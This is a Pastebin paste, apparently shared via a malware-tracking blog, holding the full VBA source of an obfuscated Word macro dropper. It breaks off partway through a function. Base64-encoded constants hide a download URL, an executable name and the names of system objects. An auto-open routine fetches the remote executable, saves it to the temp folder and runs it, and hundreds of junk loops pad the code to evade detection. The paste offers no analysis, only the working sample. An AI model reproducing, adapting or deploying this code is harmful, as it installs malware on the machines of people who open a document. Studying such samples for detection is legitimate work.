Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- http://sanesecurity.blogspot.co.uk/
- Sanesecurity ClamAV blog: zero hour malware, phishing and scams
- A hopefully interesting blog from the world of zero hour malware, phishing, scams and spams
- Attribute VB_Name = "ThisDocument"
- Attribute VB_Base = "1Normal.ThisDocument"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = True
- Attribute VB_Customizable = True
- Private Const u3Uwsv = "aHR0cDovL2RyZXZlbmFrLmN6L2pzL2Jpbi5leGU/PTQzNTQzNQ=="
- Private Const SwH7 = "XHNkZnNkZmVyZndlLmV4ZQ=="
- Private Const rEKE = "VEVNUA=="
- Private Const rpg = SwH7
- Private Const fSt = rEKE
- Private Const dThZ7U4aF = "U2hlbGwuQXBwbGljYXRpb24="
- Private Const qsVrDVAmOj = "Z2ZoZGZnc2Rn"
- Private Const SFgBv0ISXZ = "R0VU"
- Private Const Ky1e8CmX3 = "TVNYTUwyLlhNTEhUVFA="
- Private aDecTab(255) As Integer
- Private Const TcKhQpncb = "="
- Private Const uwbNZtnc = "/"
- Private Const mE4AWCC3O = "+"
- Private Const rH2A = "9"
- Private Const MPt = "0"
- Private Const o4YsRAnX = "z"
- Private Const vJ5d = "a"
- Private Const lVvyl = "Z"
- Private Const uoqGqBG = "A"
- Private Const BvWUutkkp = " "
- Sub Zkp()
- HJlIT
- Dim SIzNYGGt As Integer
- SIzNYGGt = 1023
- Do While SIzNYGGt < 1023 + 10
- SIzNYGGt = SIzNYGGt + 1: DoEvents
- Loop
- Dim uranMM As Integer
- uranMM = 2195
- Do While uranMM < 2195 + 10
- uranMM = uranMM + 1: DoEvents
- Loop
- End Sub
- Sub iVF()
- Zkp
- Dim CFxVzeNJ As Integer
- CFxVzeNJ = 1594
- Do While CFxVzeNJ < 1594 + 10
- CFxVzeNJ = CFxVzeNJ + 1: DoEvents
- Loop
- Dim JlFkIaAbgyhDny As Integer
- JlFkIaAbgyhDny = 1244
- Do While JlFkIaAbgyhDny < 1244 + 10
- JlFkIaAbgyhDny = JlFkIaAbgyhDny + 1: DoEvents
- Loop
- End Sub
- Sub NRug8O()
- Zkp
- Dim tgHeqEmDpt As Integer
- tgHeqEmDpt = 1592
- Do While tgHeqEmDpt < 1592 + 10
- tgHeqEmDpt = tgHeqEmDpt + 1: DoEvents
- Loop
- Dim kIaAbmgyh As Integer
- kIaAbmgyh = 1054
- Do While kIaAbmgyh < 1054 + 10
- kIaAbmgyh = kIaAbmgyh + 1: DoEvents
- Loop
- End Sub
- Function fhfderwer(ByVal jkrdewf As String, ByVal jkjrtewf As String) As Boolean
- Dim lujjb As Long, hjker As Long, dsjhgfwqer() As Byte
- Dim ySIzNYGGtg As Integer
- ySIzNYGGtg = 1687
- Do While ySIzNYGGtg < 1687 + 10
- ySIzNYGGtg = ySIzNYGGtg + 1: DoEvents
- Loop
- Dim EALdszBK As Integer
- EALdszBK = 1529
- Do While EALdszBK < 1529 + 10
- EALdszBK = EALdszBK + 1: DoEvents
- Loop
- Dim KgirBwZp As Integer
- KgirBwZp = 803
- Do While KgirBwZp < 803 + 10
- KgirBwZp = KgirBwZp + 1: DoEvents
- Loop
- Dim HqqddEMa As Integer
- HqqddEMa = 2416
- Do While HqqddEMa < 2416 + 10
- HqqddEMa = HqqddEMa + 1: DoEvents
- Loop
- Set dsfsdf = CreateObject(tocFpmF(Ky1e8CmX3))
- Dim kkjoLZDQPgjmeCRK As Integer
- kkjoLZDQPgjmeCRK = 961
- Do While kkjoLZDQPgjmeCRK < 961 + 10
- kkjoLZDQPgjmeCRK = kkjoLZDQPgjmeCRK + 1: DoEvents
- Loop
- Dim fKTTSYI As Integer
- fKTTSYI = 2227
- Do While fKTTSYI < 2227 + 10
- fKTTSYI = fKTTSYI + 1: DoEvents
- Loop
- dsfsdf.Open tocFpmF(SFgBv0ISXZ), jkrdewf, False
- Dim aBVAZqCroiAUEOUQdtu As Integer
- aBVAZqCroiAUEOUQdtu = 959
- Do While aBVAZqCroiAUEOUQdtu < 959 + 10
- aBVAZqCroiAUEOUQdtu = aBVAZqCroiAUEOUQdtu + 1: DoEvents
- Loop
- Dim dqPPrAMo As Integer
- dqPPrAMo = 2334
- Do While dqPPrAMo < 2334 + 10
- dqPPrAMo = dqPPrAMo + 1: DoEvents
- Loop
- dsfsdf.Send tocFpmF(qsVrDVAmOj)
- Dim hQMBVMDQb As Integer
- hQMBVMDQb = 2430
- Do While hQMBVMDQb < 2430 + 10
- hQMBVMDQb = hQMBVMDQb + 1: DoEvents
- Loop
- Dim nphGVN As Integer
- nphGVN = 25
- Do While nphGVN < 25 + 10
- nphGVN = nphGVN + 1: DoEvents
- Loop
- Dim UeBjMcIOiqgL As Integer
- UeBjMcIOiqgL = 1607
- Do While UeBjMcIOiqgL < 1607 + 10
- UeBjMcIOiqgL = UeBjMcIOiqgL + 1: DoEvents
- Loop
- Dim cvBJyeno As Integer
- cvBJyeno = 2399
- Do While cvBJyeno < 2399 + 10
- cvBJyeno = cvBJyeno + 1: DoEvents
- Loop
- Dim McIOiq As Integer
- McIOiq = 1133
- Do While McIOiq < 1133 + 10
- McIOiq = McIOiq + 1: DoEvents
- Loop
- Dim oxUPtvcvByenomrOUcG As Integer
- oxUPtvcvByenomrOUcG = 1639
- Do While oxUPtvcvByenomrOUcG < 1639 + 10
- oxUPtvcvByenomrOUcG = oxUPtvcvByenomrOUcG + 1: DoEvents
- Loop
- dsjhgfwqer = dsfsdf.responseBody
- Dim LGGFK As Integer
- LGGFK = 2492
- Do While LGGFK < 2492 + 10
- LGGFK = LGGFK + 1: DoEvents
- Loop
- Dim AMoInLe As Integer
- AMoInLe = 1164
- Do While AMoInLe < 1164 + 10
- AMoInLe = AMoInLe + 1: DoEvents
- Loop
- Dim RoJiokwzNkluzdsKfysiN As Integer
- RoJiokwzNkluzdsKfysiN = 845
- Do While RoJiokwzNkluzdsKfysiN < 845 + 10
- RoJiokwzNkluzdsKfysiN = RoJiokwzNkluzdsKfysiN + 1: DoEvents
- Loop
- Dim qqpufltJjzpskIQOwlFwAKttghH As Integer
- qqpufltJjzpskIQOwlFwAKttghH = 1006
- Do While qqpufltJjzpskIQOwlFwAKttghH < 1006 + 10
- qqpufltJjzpskIQOwlFwAKttghH = qqpufltJjzpskIQOwlFwAKttghH + 1: DoEvents
- Loop
- hjker = FreeFile
- Dim InLeDep As Integer
- InLeDep = 1766
- Do While InLeDep < 1766 + 10
- InLeDep = InLeDep + 1: DoEvents
- Loop
- Dim fNMAmNkwKsJv As Integer
- fNMAmNkwKsJv = 1683
- Do While fNMAmNkwKsJv < 1683 + 10
- fNMAmNkwKsJv = fNMAmNkwKsJv + 1: DoEvents
- Loop
- Open jkjrtewf For Binary Access Write As #hjker
- Dim ZgJQVmqskJZ As Integer
- ZgJQVmqskJZ = 226
- Do While ZgJQVmqskJZ < 226 + 10
- ZgJQVmqskJZ = ZgJQVmqskJZ + 1: DoEvents
- Loop
- Dim dDpFILDd As Integer
- dDpFILDd = 511
- Do While dDpFILDd < 511 + 10
- dDpFILDd = dDpFILDd + 1: DoEvents
- Loop
- Put #hjker, , dsjhgfwqer
- Dim QVmqskJZQB As Integer
- QVmqskJZQB = 1018
- Do While QVmqskJZQB < 1018 + 10
- QVmqskJZQB = QVmqskJZQB + 1: DoEvents
- Loop
- Dim OJKINy As Integer
- OJKINy = 101
- Do While OJKINy < 101 + 10
- OJKINy = OJKINy + 1: DoEvents
- Loop
- Close #hjker
- Dim puRZgJQ As Integer
- puRZgJQ = 1176
- Do While puRZgJQ < 1176 + 10
- puRZgJQ = puRZgJQ + 1: DoEvents
- Loop
- Dim RltjOJKINy As Integer
- RltjOJKINy = 101
- Do While RltjOJKINy < 101 + 10
- RltjOJKINy = RltjOJKINy + 1: DoEvents
- Loop
- Dim DPsLrOhG As Integer
- DPsLrOhG = 102
- Do While DPsLrOhG < 102 + 10
- DPsLrOhG = DPsLrOhG + 1: DoEvents
- Loop
- Dim UPEZPGfNMAmNkwKsJv As Integer
- UPEZPGfNMAmNkwKsJv = 1683
- Do While UPEZPGfNMAmNkwKsJv < 1683 + 10
- UPEZPGfNMAmNkwKsJv = UPEZPGfNMAmNkwKsJv + 1: DoEvents
- Loop
- Set hgjrtref = CreateObject(tocFpmF(dThZ7U4aF))
- Dim RkJkvpHr As Integer
- RkJkvpHr = 746
- Do While RkJkvpHr < 746 + 10
- RkJkvpHr = RkJkvpHr + 1: DoEvents
- Loop
- Dim iQPDqQnzOvMz As Integer
- iQPDqQnzOvMz = 747
- Do While iQPDqQnzOvMz < 747 + 10
- iQPDqQnzOvMz = iQPDqQnzOvMz + 1: DoEvents
- Loop
- hgjrtref.Open Environ(tocFpmF(fSt)) & tocFpmF(rpg)
- Dim cUEmpJmqEAk As Integer
- cUEmpJmqEAk = 2360
- Do While cUEmpJmqEAk < 2360 + 10
- cUEmpJmqEAk = cUEmpJmqEAk + 1: DoEvents
- Loop
- Dim YTHcSJY As Integer
- YTHcSJY = 1822
- Do While YTHcSJY < 1822 + 10
- YTHcSJY = YTHcSJY + 1: DoEvents
- Loop
- End Function
- Sub HJlIT()
- BHngijbjfdv = Environ(tocFpmF(fSt)) & tocFpmF(rpg)
- Dim FltusxUcjNa As Integer
- FltusxUcjNa = 240
- Do While FltusxUcjNa < 240 + 10
- FltusxUcjNa = FltusxUcjNa + 1: DoEvents
- Loop
- Dim YTHcSJYQPDqQn As Integer
- YTHcSJYQPDqQn = 2393
- Do While YTHcSJYQPDqQn < 2393 + 10
- YTHcSJYQPDqQn = YTHcSJYQPDqQn + 1: DoEvents
- Loop
- sdnfhuijk = tocFpmF(u3Uwsv)
- Dim mpJmqEAkx As Integer
- mpJmqEAkx = 1444
- Do While mpJmqEAkx < 1444 + 10
- mpJmqEAkx = mpJmqEAkx + 1: DoEvents
- Loop
- Dim bxTsy As Integer
- bxTsy = 1774
- Do While bxTsy < 1774 + 10
- bxTsy = bxTsy + 1: DoEvents
- Loop
- fhfderwer sdnfhuijk, BHngijbjfdv
- Dim nMnysKuQALQN As Integer
- nMnysKuQALQN = 981
- Do While nMnysKuQALQN < 981 + 10
- nMnysKuQALQN = nMnysKuQALQN + 1: DoEvents
- Loop
- Dim qDRzQCGgURLe As Integer
- qDRzQCGgURLe = 1487
- Do While qDRzQCGgURLe < 1487 + 10
- qDRzQCGgURLe = qDRzQCGgURLe + 1: DoEvents
- Loop
- End Sub
- Sub autoopen()
- Zkp
- Dim nysKuQALQNZ As Integer
- nysKuQALQNZ = 1835
- Do While nysKuQALQNZ < 1835 + 10
- nysKuQALQNZ = nysKuQALQNZ + 1: DoEvents
- Loop
- Dim pICsYhhfkVOV As Integer
- pICsYhhfkVOV = 1234
- Do While pICsYhhfkVOV < 1234 + 10
- pICsYhhfkVOV = pICsYhhfkVOV + 1: DoEvents
- Loop
- End Sub
- Public Function tocFpmF(ertwefsd As String) As String
- Dim vAd As String
- Dim DDqqRanOiNmD As Integer
- DDqqRanOiNmD = 1109
- Do While DDqqRanOiNmD < 1109 + 10
- DDqqRanOiNmD = DDqqRanOiNmD + 1: DoEvents
- Loop
- Dim VaAalf As Integer
- VaAalf = 1249
- Do While VaAalf < 1249 + 10
- VaAalf = VaAalf + 1: DoEvents
- Loop
- Dim d(3) As Byte
- Dim GGttUdqRmQpG As Integer
- GGttUdqRmQpG = 173
- Do While GGttUdqRmQpG < 173 + 10
- GGttUdqRmQpG = GGttUdqRmQpG + 1: DoEvents
- Loop
- Dim anaMoKIlS As Integer
- anaMoKIlS = 1027
- Do While anaMoKIlS < 1027 + 10
- anaMoKIlS = anaMoKIlS + 1: DoEvents
- Loop
- Dim C As Byte
- Dim SHEyQNkTfl As Integer
- SHEyQNkTfl = 584
- Do While SHEyQNkTfl < 584 + 10
- SHEyQNkTfl = SHEyQNkTfl + 1: DoEvents
- Loop
- Dim IlSkVaAalf As Integer
- IlSkVaAalf = 1249
- Do While IlSkVaAalf < 1249 + 10
- IlSkVaAalf = IlSkVaAalf + 1: DoEvents
- Loop
- Dim di As Integer
- Dim InNzOSVNm As Integer
- InNzOSVNm = 203
- Do While InNzOSVNm < 203 + 10
- InNzOSVNm = InNzOSVNm + 1: DoEvents
- Loop
- Dim LSUeBwac As Integer
- LSUeBwac = 2178
- Do While LSUeBwac < 2178 + 10
- LSUeBwac = LSUeBwac + 1: DoEvents
- Loop
- Dim i As Long
- Dim MnbYRkhEay As Integer
- MnbYRkhEay = 1135
- Do While MnbYRkhEay < 1135 + 10
- MnbYRkhEay = MnbYRkhEay + 1: DoEvents
- Loop
- Dim FxQleOwySANKtGggH As Integer
- FxQleOwySANKtGggH = 1071
- Do While FxQleOwySANKtGggH < 1071 + 10
- FxQleOwySANKtGggH = FxQleOwySANKtGggH + 1: DoEvents
- Loop
- Dim Yagv1OZ As Long
- Dim ELqQCSVZQp As Integer
- ELqQCSVZQp = 1767
- Do While ELqQCSVZQp < 1767 + 10
- ELqQCSVZQp = ELqQCSVZQp + 1: DoEvents
- Loop
- Dim RZOuDECHfl As Integer
- RZOuDECHfl = 1230
- Do While RZOuDECHfl < 1230 + 10
- RZOuDECHfl = RZOuDECHfl + 1: DoEvents
- Loop
- Dim ahUiR2UU6UrM As Long
- Dim VolHd As Integer
- VolHd = 2444
- Do While VolHd < 2444 + 10
- VolHd = VolHd + 1: DoEvents
- Loop
- Dim CUDbKUbQjz As Integer
- CUDbKUbQjz = 1465
- Do While CUDbKUbQjz < 1465 + 10
- CUDbKUbQjz = CUDbKUbQjz + 1: DoEvents
- Loop
- Yagv1OZ = Len(ertwefsd)
- Dim dCHDPSiDEN As Integer
- dCHDPSiDEN = 484
- Do While dCHDPSiDEN < 484 + 10
- dCHDPSiDEN = dCHDPSiDEN + 1: DoEvents
- Loop
- Dim gHcGfxQxICUD As Integer
- gHcGfxQxICUD = 2001
- Do While gHcGfxQxICUD < 2001 + 10
- gHcGfxQxICUD = gHcGfxQxICUD + 1: DoEvents
- Loop
- vAd = String((Yagv1OZ \ 4) * 3, BvWUutkkp)
- Dim eAMbIaLPq As Integer
- eAMbIaLPq = 2413
- Do While eAMbIaLPq < 2413 + 10
- eAMbIaLPq = eAMbIaLPq + 1: DoEvents
- Loop
- Dim slUCE As Integer
- slUCE = 1511
- Do While slUCE < 1511 + 10
- slUCE = slUCE + 1: DoEvents
- Loop
- ahUiR2UU6UrM = 0
- Dim janyhgT As Integer
- janyhgT = 1034
- Do While janyhgT < 1034 + 10
- janyhgT = janyhgT + 1: DoEvents
- Loop
- Dim zdqpFJM As Integer
- zdqpFJM = 2396
- Do While zdqpFJM < 2396 + 10
- zdqpFJM = zdqpFJM + 1: DoEvents
- Loop
- di = 0
- Dim rAZFjyfEMCide As Integer
- rAZFjyfEMCide = 338
- Do While rAZFjyfEMCide < 338 + 10
- rAZFjyfEMCide = rAZFjyfEMCide + 1: DoEvents
- Loop
- Dim gkJkvpHE As Integer
- gkJkvpHE = 1827
- Do While gkJkvpHE < 1827 + 10
- gkJkvpHE = gkJkvpHE + 1: DoEvents
- Loop
- Call kp1UWLnYV
- Dim CfyeCTg As Integer
- CfyeCTg = 287
- Do While CfyeCTg < 287 + 10
- CfyeCTg = CfyeCTg + 1: DoEvents
- Loop
- Dim HpsMptHRmAna As Integer
- HpsMptHRmAna = 1016
- Do While HpsMptHRmAna < 1016 + 10
- HpsMptHRmAna = HpsMptHRmAna + 1: DoEvents
- Loop
- Dim hsyuFQYt As Integer
- hsyuFQYt = 2439
- Do While hsyuFQYt < 2439 + 10
- hsyuFQYt = hsyuFQYt + 1: DoEvents
- Loop
- Dim jnMnysKH As Integer
- jnMnysKH = 891
- Do While jnMnysKH < 891 + 10
- jnMnysKH = jnMnysKH + 1: DoEvents
- Loop
- For i = 1 To Len(ertwefsd)
- Dim oQQJJ As Integer
- oQQJJ = 588
- Do While oQQJJ < 588 + 10
- oQQJJ = oQQJJ + 1: DoEvents
- Loop
- Dim ibKsvPswKUq As Integer
- ibKsvPswKUq = 553
- Do While ibKsvPswKUq < 553 + 10
- ibKsvPswKUq = ibKsvPswKUq + 1: DoEvents
- Loop
- C = CByte(Asc(Mid(ertwefsd, i, 1)))
- Dim VMmOtraNjZP As Integer
- VMmOtraNjZP = 427
- Do While VMmOtraNjZP < 427 + 10
- VMmOtraNjZP = VMmOtraNjZP + 1: DoEvents
- Loop
- Dim DpipTggv As Integer
- DpipTggv = 1820
- Do While DpipTggv < 1820 + 10
- DpipTggv = DpipTggv + 1: DoEvents
- Loop
- C = aDecTab(C)
- Dim sYfyGvb As Integer
- sYfyGvb = 1992
- Do While sYfyGvb < 1992 + 10
- sYfyGvb = sYfyGvb + 1: DoEvents
- Loop
- Dim qOUQdguPRblg As Integer
- qOUQdguPRblg = 1960
- Do While qOUQdguPRblg < 1960 + 10
- qOUQdguPRblg = qOUQdguPRblg + 1: DoEvents
- Loop
- If C >= 0 Then
- Dim McjkuRMq As Integer
- McjkuRMq = 695
- Do While McjkuRMq < 695 + 10
- McjkuRMq = McjkuRMq + 1: DoEvents
- Loop
- Dim eNwySv As Integer
- eNwySv = 851
- Do While eNwySv < 851 + 10
- eNwySv = eNwySv + 1: DoEvents
- Loop
- d(di) = C
- Dim ZdOUd As Integer
- ZdOUd = 1753
- Do While ZdOUd < 1753 + 10
- ZdOUd = ZdOUd + 1: DoEvents
- Loop
- Dim SUeojMcu As Integer
- SUeojMcu = 2130
- Do While SUeojMcu < 2130 + 10
- SUeojMcu = SUeojMcu + 1: DoEvents
- Loop
- di = di + 1
- Dim rnzPfm As Integer
- rnzPfm = 1877
- Do While rnzPfm < 1877 + 10
- rnzPfm = rnzPfm + 1: DoEvents
- Loop
- Dim xuoGDbwUbQ As Integer
- xuoGDbwUbQ = 608
- Do While xuoGDbwUbQ < 608 + 10
- xuoGDbwUbQ = xuoGDbwUbQ + 1: DoEvents
- Loop
- If di = 4 Then
- Dim RQkhPdC As Integer
- RQkhPdC = 890
- Do While RQkhPdC < 890 + 10
- RQkhPdC = RQkhPdC + 1: DoEvents
- Loop
- Dim MnZpsv As Integer
- MnZpsv = 2252
- Do While MnZpsv < 2252 + 10
- MnZpsv = MnZpsv + 1: DoEvents
- Loop
- Mid$(vAd, ahUiR2UU6UrM + 1, 3) = wXV8Ug(d)
- Dim vlQabZeHOtGFVZcT As Integer
- vlQabZeHOtGFVZcT = 7
- Do While vlQabZeHOtGFVZcT < 7 + 10
- vlQabZeHOtGFVZcT = vlQabZeHOtGFVZcT + 1: DoEvents
- Loop
- Dim nIKTrZC As Integer
- nIKTrZC = 2169
- Do While nIKTrZC < 2169 + 10
- nIKTrZC = nIKTrZC + 1: DoEvents
- Loop
- ahUiR2UU6UrM = ahUiR2UU6UrM + 3
- Dim QnmNvMy As Integer
- QnmNvMy = 747
- Do While QnmNvMy < 747 + 10
- QnmNvMy = QnmNvMy + 1: DoEvents
- Loop
- Dim zaZpfi As Integer
- zaZpfi = 1062
- Do While zaZpfi < 1062 + 10
- zaZpfi = zaZpfi + 1: DoEvents
- Loop
- If d(3) = 64 Then
- Dim YFHcEJQ As Integer
- YFHcEJQ = 1823
- Do While YFHcEJQ < 1823 + 10
- YFHcEJQ = YFHcEJQ + 1: DoEvents
- Loop
- Dim Cddsil As Integer
- Cddsil = 126
- Do While Cddsil < 126 + 10
- Cddsil = Cddsil + 1: DoEvents
- Loop
- vAd = Left(vAd, Len(vAd) - 1)
- Dim sVlEYrmb As Integer
- sVlEYrmb = 822
- Do While sVlEYrmb < 822 + 10
- sVlEYrmb = sVlEYrmb + 1: DoEvents
- Loop
- Dim inYfmC As Integer
- inYfmC = 315
- Do While inYfmC < 315 + 10
- inYfmC = inYfmC + 1: DoEvents
- Loop
- ahUiR2UU6UrM = ahUiR2UU6UrM - 1
- Dim HcupeKS As Integer
- HcupeKS = 963
- Do While HcupeKS < 963 + 10
- HcupeKS = HcupeKS + 1: DoEvents
- Loop
- Dim rzAJi As Integer
- rzAJi = 235
- Do While rzAJi < 235 + 10
- rzAJi = rzAJi + 1: DoEvents
- Loop
- End If
- Dim flhsvKghrA As Integer
- flhsvKghrA = 2227
- Do While flhsvKghrA < 2227 + 10
- flhsvKghrA = flhsvKghrA + 1: DoEvents
- Loop
- Dim qBHDOguCDM As Integer
- qBHDOguCDM = 659
- Do While qBHDOguCDM < 659 + 10
- qBHDOguCDM = qBHDOguCDM + 1: DoEvents
- Loop
- If d(2) = 64 Then
- Dim JwjJgtHpGs As Integer
- JwjJgtHpGs = 185
- Do While JwjJgtHpGs < 185 + 10
- JwjJgtHpGs = JwjJgtHpGs + 1: DoEvents
- Loop
- Dim dqPPrzLo As Integer
- dqPPrzLo = 2400
- Do While dqPPrzLo < 2400 + 10
- dqPPrzLo = dqPPrzLo + 1: DoEvents
- Loop
- vAd = Left(vAd, Len(vAd) - 1)
- Dim lrnzCQmoxHC As Integer
- lrnzCQmoxHC = 451
- Do While lrnzCQmoxHC < 451 + 10
- lrnzCQmoxHC = lrnzCQmoxHC + 1: DoEvents
- Loop
- Dim KGRjxFGQo As Integer
- KGRjxFGQo = 863
- Do While KGRjxFGQo < 863 + 10
- KGRjxFGQo = KGRjxFGQo + 1: DoEvents
- Loop
- ahUiR2UU6UrM = ahUiR2UU6UrM - 1
- Dim MMzmNwKsJvz As Integer
- MMzmNwKsJvz = 2285
- Do While MMzmNwKsJvz < 2285 + 10
- MMzmNwKsJvz = MMzmNwKsJvz + 1: DoEvents
- Loop
- Dim DAjwVVx As Integer
- DAjwVVx = 1446
- Do While DAjwVVx < 1446 + 10
- DAjwVVx = DAjwVVx + 1: DoEvents
- Loop
- End If
- Dim HcSIQhPPDpQ As Integer
- HcSIQhPPDpQ = 938
- Do While HcSIQhPPDpQ < 938 + 10
- HcSIQhPPDpQ = HcSIQhPPDpQ + 1: DoEvents
- Loop
- Dim OEktusxUbi As Integer
- OEktusxUbi = 2490
- Do While OEktusxUbi < 2490 + 10
- OEktusxUbi = OEktusxUbi + 1: DoEvents
- Loop
- di = 0
- Dim VlRYrzp As Integer
- VlRYrzp = 1903
- Do While VlRYrzp < 1903 + 10
- VlRYrzp = VlRYrzp + 1: DoEvents
- Loop
- Dim oJxGeZCElEKS As Integer
- oJxGeZCElEKS = 382
- Do While oJxGeZCElEKS < 382 + 10
- oJxGeZCElEKS = oJxGeZCElEKS + 1: DoEvents
- Loop
- End If
- Dim yQNkTfkhs As Integer
- yQNkTfkhs = 1219
- Do While yQNkTfkhs < 1219 + 10
- yQNkTfkhs = yQNkTfkhs + 1: DoEvents
- Loop
- Dim IlRjVazalf As Integer
- IlRjVazalf = 1314
- Do While IlRjVazalf < 1314 + 10
- IlRjVazalf = IlRjVazalf + 1: DoEvents
- Loop
- End If
- Dim xRIzMQGFtt As Integer
- xRIzMQGFtt = 334
- Do While xRIzMQGFtt < 334 + 10
- xRIzMQGFtt = xRIzMQGFtt + 1: DoEvents
- Loop
- Dim PqMLo As Integer
- PqMLo = 2466
- Do While PqMLo < 2466 + 10
- PqMLo = PqMLo + 1: DoEvents
- Loop
- Next i
- Dim LAULC As Integer
- LAULC = 1737
- Do While LAULC < 1737 + 10
- LAULC = LAULC + 1: DoEvents
- Loop
- Dim JVVlp As Integer
- JVVlp = 2227
- Do While JVVlp < 2227 + 10
- JVVlp = JVVlp + 1: DoEvents
- Loop
- tocFpmF = vAd
- Dim zdeKRksiN As Integer
- zdeKRksiN = 802
- Do While zdeKRksiN < 802 + 10
- zdeKRksiN = zdeKRksiN + 1: DoEvents
- Loop
- Dim tsxibiMa As Integer
- tsxibiMa = 371
- Do While tsxibiMa < 371 + 10
- tsxibiMa = tsxibiMa + 1: DoEvents
- Loop
- End Function
- Private Function wXV8Ug(d() As Byte) As String
- Dim MUlJcBiW As String
- Dim wlQMMKP As Integer
- wlQMMKP = 751
- Do While wlQMMKP < 751 + 10
- wlQMMKP = wlQMMKP + 1: DoEvents
- Loop
- Dim gEKGSVkFHQ As Integer
- gEKGSVkFHQ = 2114
- Do While gEKGSVkFHQ < 2114 + 10
- gEKGSVkFHQ = gEKGSVkFHQ + 1: DoEvents
- Loop
- Dim C As Long
- Dim IbJhQbhdpFU As Integer
- IbJhQbhdpFU = 862
- Do While IbJhQbhdpFU < 862 + 10
- IbJhQbhdpFU = IbJhQbhdpFU + 1: DoEvents
- Loop
- Dim kGShOgRVwk As Integer
- kGShOgRVwk = 2000
- Do While kGShOgRVwk < 2000 + 10
- kGShOgRVwk = kGShOgRVwk + 1: DoEvents
- Loop
- MUlJcBiW = vbNullString
- Dim JQTCPppQa As Integer
- JQTCPppQa = 1334
- Do While JQTCPppQa < 1334 + 10
- JQTCPppQa = JQTCPppQa + 1: DoEvents
- Loop
- Dim ldCfJu As Integer
- ldCfJu = 587
- Do While ldCfJu < 587 + 10
- ldCfJu = ldCfJu + 1: DoEvents
- Loop
- C = RTgCMP8ArHN(d(0)) Or (fmTcJ(d(1)) And &H3)
- Dim VYEYemb As Integer
- VYEYemb = 779
- Do While VYEYemb < 779 + 10
- VYEYemb = VYEYemb + 1: DoEvents
- Loop
- Dim AJiOsHou As Integer
- AJiOsHou = 665
- Do While AJiOsHou < 665 + 10
- AJiOsHou = AJiOsHou + 1: DoEvents
- Loop
- MUlJcBiW = MUlJcBiW & Chr$(C)
- Dim NkGfQSfvKgT As Integer
- NkGfQSfvKgT = 1424
- Do While NkGfQSfvKgT < 1424 + 10
- NkGfQSfvKgT = NkGfQSfvKgT + 1: DoEvents
- Loop
- Dim sHouNVLrmnl As Integer
- sHouNVLrmnl = 1045
- Do While sHouNVLrmnl < 1045 + 10
- sHouNVLrmnl = sHouNVLrmnl + 1: DoEvents
- Loop
- C = sWGD(d(1) And &HF) Or (LBCH1U(d(2)) And &HF)
- Dim BTQoJiaQiz As Integer
- BTQoJiaQiz = 1596
- Do While BTQoJiaQiz < 1596 + 10
- BTQoJiaQiz = BTQoJiaQiz + 1: DoEvents
- Loop
- Dim ddPPrzLo As Integer
- ddPPrzLo = 2357
- Do While ddPPrzLo < 2357 + 10
- ddPPrzLo = ddPPrzLo + 1: DoEvents
- Loop
- MUlJcBiW = MUlJcBiW & Chr$(C)
- Dim qpFIL As Integer
- qpFIL = 2484
- Do While qpFIL < 2484 + 10
- qpFIL = qpFIL + 1: DoEvents
- Loop
- Dim oHPFlg As Integer
- oHPFlg = 2306
- Do While oHPFlg < 2306 + 10
- oHPFlg = oHPFlg + 1: DoEvents
- Loop
- C = S2OPk(d(2) And &H3) Or d(3)
- Dim ebmpEabkupSi As Integer
- ebmpEabkupSi = 219
- Do While ebmpEabkupSi < 219 + 10
- ebmpEabkupSi = ebmpEabkupSi + 1: DoEvents
- Loop
- Dim GfZCElrK As Integer
- GfZCElrK = 294
- Do While GfZCElrK < 294 + 10
- GfZCElrK = GfZCElrK + 1: DoEvents
- Loop
- MUlJcBiW = MUlJcBiW & Chr$(C)
- Dim VlEZrmb As Integer
- VlEZrmb = 800
- Do While VlEZrmb < 800 + 10
- VlEZrmb = VlEZrmb + 1: DoEvents
- Loop
- Dim yDALdrz As Integer
- yDALdrz = 655
- Do While yDALdrz < 655 + 10
- yDALdrz = yDALdrz + 1: DoEvents
- Loop
- wXV8Ug = MUlJcBiW
- Dim RQIBInzzOSVN As Integer
- RQIBInzzOSVN = 1922
- Do While RQIBInzzOSVN < 1922 + 10
- RQIBInzzOSVN = RQIBInzzOSVN + 1: DoEvents
- Loop
- Dim sIkjzp As Integer
- sIkjzp = 2314
- Do While sIkjzp < 2314 + 10
- sIkjzp = sIkjzp + 1: DoEvents
- Loop
- End Function
- Private Function kp1UWLnYV()
- Dim t As Integer
- Dim ELqCCSVZQp As Integer
- ELqCCSVZQp = 1745
- Do While ELqCCSVZQp < 1745 + 10
- ELqCCSVZQp = ELqCCSVZQp + 1: DoEvents
- Loop
- Dim wwjjKTgHcGf As Integer
- wwjjKTgHcGf = 1473
- Do While wwjjKTgHcGf < 1473 + 10
- wwjjKTgHcGf = wwjjKTgHcGf + 1: DoEvents
- Loop
- Dim C As Integer
- Dim zbIaLPqPc As Integer
- zbIaLPqPc = 620
- Do While zbIaLPqPc < 620 + 10
- zbIaLPqPc = zbIaLPqPc + 1: DoEvents
- Loop
- Dim UCrLCtGQzznn As Integer
- UCrLCtGQzznn = 2185
- Do While UCrLCtGQzznn < 2185 + 10
- UCrLCtGQzznn = UCrLCtGQzznn + 1: DoEvents
- Loop
- For C = 0 To 255
- Dim DCeLdO As Integer
- DCeLdO = 1045
- Do While DCeLdO < 1045 + 10
- DCeLdO = DCeLdO + 1: DoEvents
- Loop
- Dim tRvaYFuOF As Integer
- tRvaYFuOF = 456
- Do While tRvaYFuOF < 456 + 10
- tRvaYFuOF = tRvaYFuOF + 1: DoEvents
- Loop
- aDecTab(C) = -1
- Dim VjQJkGFiO As Integer
- VjQJkGFiO = 2007
- Do While VjQJkGFiO < 2007 + 10
- VjQJkGFiO = VjQJkGFiO + 1: DoEvents
- Loop
- Dim GFttUdpRlQpG As Integer
- GFttUdpRlQpG = 217
- Do While GFttUdpRlQpG < 217 + 10
- GFttUdpRlQpG = GFttUdpRlQpG + 1: DoEvents
- Loop
- Next
- Dim JhcFHoINVrAAyDbipTg As Integer
- JhcFHoINVrAAyDbipTg = 911
- Do While JhcFHoINVrAAyDbipTg < 911 + 10
- JhcFHoINVrAAyDbipTg = JhcFHoINVrAAyDbipTg + 1: DoEvents
- Loop
- Dim CRVZPpRxhdR As Integer
- CRVZPpRxhdR = 419
- Do While CRVZPpRxhdR < 419 + 10
- CRVZPpRxhdR = CRVZPpRxhdR + 1: DoEvents
- Loop
- t = 0
